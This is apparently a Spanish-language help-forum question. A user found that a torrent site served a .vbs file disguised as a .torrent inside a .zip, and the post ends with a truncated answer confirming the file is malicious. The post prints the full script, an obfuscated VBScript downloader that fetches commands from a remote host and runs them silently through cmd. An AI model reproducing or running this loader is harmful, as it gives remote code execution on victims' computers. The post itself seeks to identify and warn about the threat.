Ketere ✎
⋮
En la web mejortorrentt.net intento bajar el archivo .torrent que viene dentro de un .zip y el antivirus de Windows me salta diciendo que tiene virus.
Desactivo el antivirus, me descarga el .zip y dentro hay un archivo .vbs (debería ser .torrent como ha sido siempre). Me pasa en varias webs.
Abro el archivo con un editor de texto y sale este código:
Set ypencj4 = CreateObject("WinHttp.WinHttpRequest.5.1")
ypencj3 = Wscript.ScriptName
ypencj4.open "POST", "http://www.mejortorrentt.org/img/ab/ypencj", False
ypencj4.send
CreateObject("Shell.Application").Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.Application.ShellExecute "cmd",ypencj4.responseText & ypencj3,ypencj,"",0¿Es malicioso de verdad?
Duda resuelta en ✅ ⚠️ Es malicioso. Los archivos .vbs son pequeños programas…
